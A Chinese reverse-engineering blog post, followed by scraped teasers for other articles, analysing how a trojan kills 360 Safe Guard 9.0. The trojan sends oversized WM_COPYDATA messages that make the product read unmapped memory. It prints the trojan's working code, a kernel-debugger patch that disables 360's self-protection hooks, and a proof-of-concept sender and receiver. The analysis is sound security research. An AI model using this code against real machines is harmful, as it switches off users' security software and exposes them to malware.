利用漏洞溢出掉360安全卫士逆向分析

注:本文测试环境为360安全卫士9.0,最新版的安全卫士已修复此漏洞

现象

某个木马运行后可以关闭360安全卫士,经过逆向分析发现该木马只是简单运行了以下代码:

/*

HMODULE h360 =GetModuleHandle(TEXT("safemon.dll"));
int i = 0;
for (i = 0; i<0x30000; i++)
{
if (memcmp((BYTE *)(h360+i), "\x83\xEC\x10\x56\x8D\x44\x24\x04\x50",9)==0)
{
         break;
}
}
if (i==0x30000)
{
return;
}
FARPROC funcGet360HWND = (FARPROC)(h360+i);
HWND hWnd = (HWND)funcGet360HWND();
COPYDATASTRUCT cpdata;
cpdata.dwData = 0x4d47534d;
cpdata.cbData = 0x1000;
cpdata.lpData = msgbuf;  //长度0x1000字节的随即数据,其中不能有连续\x00\x00
SendMessage(hWnd, WM_COPYDATA, NULL,(LPARAM)&cpdata);
*/

我们自己用上面代码运行之后,360安全卫士的进程(360tray.exe)就自动退出了。注意:这个程序必须是带窗口的程序,而不能使控制台程序,因为控制台程序是不加载safemon.dll的。

攻击原理

上面如此简单的代码就能导致关闭360,我们来看一下这段代码到底做了什么?首先获得safemon.dll的模块地址,每个有图形界面都会加载这个dll。然后从这个模块里找一处特征代码,经分析发现找的是以下代码:

67366570   83EC 10         sub     esp, 10
67366573   56              push    esi
67366574   8D4424 04       lea     eax, dword ptr [esp+4]
67366578   50              push    eax
67366579   6A 00           push   0
6736657B   8D4C24 10       lea     ecx, dword ptr [esp+10]
6736657F   51              push    ecx
67366580   68 40653667     push    67366540
67366585   6A 00           push    0
67366587   6A 00           push    0
67366589   C74424 20 E48D4>mov     dwordptr [esp+20], 67418DE4                   ; ASCII "Q360SafeMonClass"
67366591   C74424 24 00000>mov     dwordptr [esp+24], 0
67366599   C74424 28 00000>mov     dwordptr [esp+28], 0
673665A1   FF15 10D34067   call    dword ptr [<&KERNEL32.GetCurrentProcess>]       ; kernel32.GetCurrentProcess
673665A7   50              push    eax
673665A8   FF15 58D14067   call    dword ptr[<&KERNEL32.CreateRemoteThread>]     ; kernel32.CreateRemoteThread
673665AE   8BF0            mov     esi,eax
673665B0   85F6            test    esi, esi
673665B2   74 10           je      short 673665C4
673665B4   6A FF           push    -1
673665B6   56              push    esi
673665B7   FF15 24D14067   call    dword ptr [<&KERNEL32.WaitForSingleObject>]     ; kernel32.WaitForSingleObject
673665BD   56              push    esi
673665BE   FF15 20D34067   call    dword ptr[<&KERNEL32.CloseHandle>]            ; kernel32.CloseHandle
673665C4   8B4424 10       mov     eax, dword ptr [esp+10]
673665C8   5E              pop     esi
673665C9   83C4 10         add     esp, 10
673665CC   C3              retn

其作用就是找到Q360SafeMonClass的窗口句柄。找到这段代码后就会执行这段代码来获取该窗口句柄。为什么不直接用FindWindow来查找呢?据分析应该是360做了一些防护,直接找怕找不到。

找到这个窗口后会给他发送WM_COPYDATA消息,附带的消息COPYDATASTRUCT结构的dwData是0x4d47534d,数据长度是0×1000,内容是随机数据。

我自己写了个程序模拟上述功能后,运行成功结束了360tray的进程,证明原理是没有错的。

漏洞调试

究竟是什么原因导致360tray如此简单就被关闭呢,我决定调试一下360看,启动OD准备附加360tray进程,发现无法附加,360做了保护。要想调试360首先要把保护去掉。

用XueTr看360的内核Hook点,并尝试恢复:

恢复之后尝试OD附加仍然失败,再刷新hook点已经被恢复了,这是当然的,360也要保护自身嘛。于是windbg开双机调试,在hook点下写断点,这样当360驱动恢复这里的时候,我们把他nop掉。

然后只要

kd> eb f747ed78 c3
kd> u f747ed78
Hookport+0xcd78:
f747ed78 c3              ret
f747ed79 ff558b          call    dword ptr [ebp-75h]
f747ed7c ec              in      al,dx
f747ed7d 51              push   ecx
f747ed7e 51              push    ecx
f747ed7f 8d45fc          lea     eax,[ebp-4]
f747ed82 50              push    eax
f747ed83 ff1594ff47f7    call   dword ptr [Hookport+0xdf94 (f747ff94)]
kd> g

这时候只要再恢复内核hook点,360就哑巴了,然后成功用OD附加360tray进程:

漏洞原理

经过调试发现,导致360出错退出的地方在360safemonpro.tpi这个模块里inline编译的vsnwprintf,从这里调用:

其中va_list参数里有我们WM_COPYDATA消息传进去的数据,然后在里面进入_woutput_l的时候出错了:

对应的源代码是:

output.c

                /*textlen now contains length in multibyte chars */
                } else{
                    if(text.wz== NULL) /* NULLpassed, use special string */
                        text.wz = __wnullstring;
                    bufferiswide= 1;
                    pwch= text.wz;
                    while(i-- && *pwch)  //这里出错了
                        ++pwch;
                    textlen= (int)(pwch- text.wz);       /* in wchar_ts*/
                    /*textlen now contains length in wide chars */
                }

看起来360的用法是没有错的,这里不存在溢出之类的漏洞,我分析认为这是微软挖的一个坑,360不幸掉进去了,对WM_COPYDATA的数据处理不当回导致访问未映射的内存。

以下是来自网上的WM_COPYDATA数据传递的原理:

跨线程的WM_COPYDATA没有使用共享内存,反而复制了两次数据
发送者SendMessage->xxxSendMessageTimeout->xxxInterSendMsgEx(UserAllocPoolWithQuota分配内核内存,将用户数据复制到内核空间)->SetWakeBit唤醒接受者->SetWakeBit等待应答
接受者xxxReceiveMessage->XXXSENDMESSAGETOCLIENT(宏)->ScSendMessageSMS(也是宏)->SfnCOPYDATA(sender side)->CaptureCallbackData(把数据从内核空间复制到用户空间)->KeUserModeCallback(转到用户模式)->SfnCOPYDATA(receiver side)->窗口过程->回到内核模式,应答发送者...........
‍

所以传递的数据并不是一块新分配的heap,而0×1000为单位长度映射的内存空间,是一块没头没尾的空间,一旦使用一些字符串操作函数直接访问这块空间,很容易造成越界访问到没映射的内存里。

‍‍为了证实这个理论,我们可以自己写一个WM_COPYDATA的是以消息处理函数,模拟漏洞的产生过程:‍‍‍‍

BOOL CrecvDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
    wchar_t buf[0x2000]={0};
    _snwprintf(buf, 0x2000, L"url=%s", pCopyDataStruct->lpData);
    return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}

这段代码看上去是没什么问题的,直接把传进来的lpData当做字符串来处理。我们再写一个发送函数:

HWND hWnd=FindWindowA("#32770","recv");
if (hWnd)
{
            int len=0x1000; //这一定要是0x1000的整数倍
            char*buf=new char[len];
            memset(buf, 0x41, len);

            COPYDATASTRUCTcpdata;
            cpdata.dwData = 0x4d47534d;
            cpdata.cbData = len;
            cpdata.lpData = buf;
            SendMessage(hWnd, WM_COPYDATA,NULL, (LPARAM)&cpdata);

            delete[] buf;
}

运行发送消息后,接收消息的程序报错了,出错点就是刚才分析的地方。

总结

严格意义上讲,导致360被结束的这个问题应该不算一个漏洞,而是由于微软没对使用COPYDATASTRUCT.lpData的内存做一些要求,正常的库函数访问的时候就可能导致出错。要安全使用COPYDATASTRUCT.lpData,应该把这块内存先拷贝出来,然后再进行操作。

另一方面,这个漏洞为我们指引了寻找360漏洞的方向,凡是有用户能控制输入的地方都有可能存在此类漏洞。

利用漏洞溢出掉360安全卫士逆向分析

时间: 2024-08-13 15:59:57

利用漏洞溢出掉360安全卫士逆向分析的相关文章

Apk脱壳圣战之---脱掉“360加固”的壳

一.前言 现在主流的加固平台有:梆梆加固,爱加密,360加固,腾讯加固,在之前的一篇文章中介绍了:如何脱掉"爱加密"的壳,现在这里要脱掉另外一个平台的壳:360加固,因为有了之前的脱壳经验,很多基础知识和准备工作这里就不详细介绍了,为了能够脱掉他家的壳,用一个案例来去360平台进行加固,然后进行脱壳.下面就来开始脱壳: 二.分析360加固的原理 首先拿到加固之后的apk,这里为了方便查看内部信息,先不用dex2jar+jd-gui工具进行分析了,直接使用我们之前分析了源码的一个工具:J

“金山杯2007逆向分析挑战赛”第一阶段第二题

注:题目来自于以下链接地址: http://www.pediy.com/kssd/ 目录:第13篇 论坛活动 \ 金山杯2007逆向分析挑战赛 \ 第一阶段 \ 第二题 \ 题目 \ [第一阶段 第二题] 题目描述: 己知是一个 PE 格式 EXE 文件,其三个(section)区块的数据文件依次如下:(详见附件)  _text,_rdata,_data 1. 将 _text, _rdata, _data合并成一个 EXE 文件,重建一个 PE 头,一些关键参数,如 EntryPoint,Imp

路由器逆向分析------MIPS系统网络的配置(QEMU)

本文博客地址:http://blog.csdn.net/qq1084283172/article/details/69378333 MIPS系统网络的配置  使用QEMU 模拟正在运行的MIPS系统并配置MIPS系统网络,这样本地主机ubuntu系统就可以和QEMU虚拟机进行网络通讯和传输数据了.在进行MIPS程序的测试时是很有用处. 01.获取安装依赖文件,执行下面的命令: $ sudo apt-get install bridge-utils uml-utilities 02.修改 ubun

RE-1 逆向分析基础

逆向分析基础 0x01-0x0C 本笔记使用汇编指令为x86架构下汇编指令,ARM架构汇编指令不做介绍 0x01. 关于RE 逆向工程(Reverse Engineering RE) 逆向分析方法: 静态分析法:观察代码文件的外部特征.获取文件的类型(EXE.DLI.DOC.ZIP等).大小.PE头信息.Import/Export API.内部字符串.是否运行时解压缩.注册信息.调试信息.数字证书等多种信息,使用反汇编查看内部代码 动态分析法:通过调试来分析代码流,获取内存状态,可以在观察文件.

c++反汇编与逆向分析 小结

第一章  熟悉工作环境和相关工具1.1 熟悉OllyDBG  操作技巧1.2 反汇编静态分析工具 IDA(最专业的逆向工具)    快捷键    功能     Enter     跟进函数实现     Esc       返回跟进处    A         解释光标处的地址为一个字符串的首地址     B         十六进制数与二进制数转换    C         解释光标处的地址为一条指令     D         解释光标处的地址为数据,没按一次将会转换这个地址的数据长度   

Android逆向分析(2) APK的打包与安装

http://blog.zhaiyifan.cn/2016/02/13/android-reverse-2/ 2/18日增加对aidl和java编译的描述. 前言 上一次我们反编译了手Q,并遇到了Apktool反编译直接crash的问题,虽然笔者很想在这次解决这个问题,但在解决途中,发现该保护依赖于很多知识,所以本次先插入一下,正所谓知其然知其所以然,授之鱼不如授之以渔,只有知道一些基本原理,才能让我们以后能自行解决更多问题. 那么,你知道么?从我们在Android Studio中,点击run,

逆向分析AHpack

从暑假开始逆向研究也有一个半月了,今晚分析了一个压缩壳. 其实像这种壳完全可以esp定律秒掉的,之所以分析它,是因为我想知道所谓IAT修复具体是怎么回事,还有压缩壳的到底流程是怎么样的,我认为学逆向最大的乐趣就是可以满足人的好奇心,只要精力够,程序的每个细节是怎么做的都可以知道. aplib部分没去搞(aplib部分用灰色表示),因为像这种算法以我现在的水平去分析,那简直太烧脑子了. 其实aplib部分我觉得作者应该是放在一个函数里的,应该是编译器优化所造成的 004040FF > 60 PUS

逆向分析底纹

工作需要会被要求还原某个证书底纹,一般解决的思路是到网上找,如果找到了就直接用,如果找不到了相同的就找近似的凑合用,如果连近似的底纹都没有那我们是不是就没有办法了呢?有的,我们可以直接逆向分析出它最基本的单元,然后用photshop的填充功能生成即可. 既然用的是逆向分析,那么我们应该知道正向是怎么回事! 一般证书底纹是由一张二方连续贴图或者四方连续贴图拼接而成的,我这里称这张贴图为原子贴图,原子贴图的特征为"它是底纹里面最基本的那个单位,不能被拆分了",只要制作好了这个原子贴图,那么

七夕蠕虫“XX神器”逆向分析

七夕蠕虫“XX神器”逆向分析 首先给各位无良媒体记者跪了,七夕那天刚从公司拿到样本的时候还以为是主管随便到网上扒了个木马demo给我练手,第二天看新闻才知道这小玩具已经搞得满城风雨,媒体竟然称它为“超级手机病毒”(-_-#)不得不感叹混安全圈想装逼简直太容易了.在此强烈谴责这种夸张报道,不仅向公众传递错误信息,也会影响孩子的价值观.短短今天说这个apk没有任何研究价值,虽然技术是非常拙劣,但是其利用短信不会审核恶意链接的性质传播的方式倒是令人眼前一亮.下面就来瞧瞧这个“XX神器”的真面目. 从恶